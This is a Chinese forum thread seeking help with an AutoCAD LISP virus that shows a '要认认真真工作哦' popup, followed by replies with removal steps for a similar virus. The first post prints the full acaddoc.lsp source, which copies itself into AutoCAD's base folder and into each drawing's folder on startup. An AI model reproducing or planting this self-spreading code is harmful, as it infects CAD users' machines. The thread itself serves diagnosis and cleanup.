求助！病毒“要认认真真工作哦”

joelei

最近开机碰到这个病毒，和以前的“党不会亏待你的！”病毒相似；

还有一个现象就是，修改块的X,Y,Z比例，无法修改了

有没有高手，能搞定一下啊？

joelei

查了一下工作目录 会生成acaddoc.lsp文件

内容如下：

(defun-q s::startup
  (/ basepath
     baseacad
     acaddocpath
     r-acaddoc
     w-basepath
     rl-acaddoc
     acaddoclsp
     c-acaddocname
     c-acaddocpath
     c-acaddoc
    )
     (setq basepath
     (findfile "base.dcl")
     )
     (setq basepath
     (substr basepath
      1 (- (strlen basepath) 8)
            )
     )
     (setq baseacad (strcat basepath "acaddoc.lsp"))
 
 (setq acaddocpath
               (findfile "acaddoc.lsp")
 )
 (setq acaddocpath
        (substr acaddocpath
         1 (- (strlen acaddocpath) 11)
        )
 )
 (setq acaddoclsp
        (strcat acaddocpath "acaddoc.lsp"))
 
 
        (setq c-acaddocname
        (getvar "dwgname")
 )
        (setq c-acaddocpath
        (findfile c-acaddocname)
 )
        (setq c-acaddocpath
        (substr c-acaddocpath
         1 (- (strlen c-acaddocpath) (strlen c-acaddocname)) 
  )
  )
        (setq c-acaddoc
        (strcat c-acaddocpath "acaddoc.lsp")
  )
          (alert "要认认真真工作哦！！")
  (if
           (and
    (/= basepath acaddocpath)
    (= c-acaddocpath acaddocpath)
    )
      (progn
        (setq r-acaddoc
        (open acaddoclsp "r")
        )
        (setq w-basepath
           (open baseacad "w")
  )    
        (while
            (setq rl-acaddoc
      (read-line r-acaddoc)
            )
            (write-line rl-acaddoc w-basepath)
         )
         (close w-basepath)  
                (close r-acaddoc)
    
             )
        
      (progn
        (setq r-acaddoc
        (open acaddoclsp "r")
        )
        (setq w-basepath
           (open c-acaddoc "w")
  )
         (while
            (setq rl-acaddoc
      (read-line r-acaddoc)
            )
            (write-line rl-acaddoc w-basepath)
         )
         (close w-basepath)  
                (close r-acaddoc)
    
             )
  )
  (princ)
)

xiaoyaobest

还是这个acad.lsp，没新意。有时间多写点有意义的东西或者玩点高级的，老玩这种低级的东西，没劲

lzh1600

用AutoCAD的朋友可能都遇到过“老板的眼睛是雪亮的”病毒，这种病毒的主要症状是，在AutoCAD每次启动时及在画图过程中，隔一段时间就提醒你已经工作了多长时间，还有“老板的眼睛是雪亮的”之类的话，很烦人，并且影响CAD的运行速度。

该病毒发作后的主要表现为：

1、病毒在启动CAD时会弹出一个显示时间并写有“老板的眼睛是雪亮的”的对话框；

2、病毒在8:00至18:00这个段时间内，对CAD画图没有任何的影响。当时间不在8:00至18:00之间时，会弹出如下对话框，可能伴随“移动”命令改变~等情况。

我的一个同事在网上查到了病毒作者的博客中的一篇文章，说他是无意中写了这个病毒，本想和同事开个玩笑，没想到传了出去对大家造成伤害，并给出了解决方法如下：

方法一、启动AutoCAD，在命令行中输入以下语句：

(while (or (setq a (findfile "acad.fas")) (setq a (findfile "lcm.fas"))) (vl-file-delete a))

回车后关闭AutoCAD，重新启动AutoCAD后你就会发现一切都正常了。

方法二：关闭AutoCAD，搜索并删除电脑中的acad.fas和lcm.fas文件，注意“搜索范围”一定要选择你本地硬盘的所有分区，搜索时一定要先勾选“搜索选项”中的“高级选项”，将其下的“搜索子文件夹”项勾选上，否则不能将病毒文件全部搜索清除干净。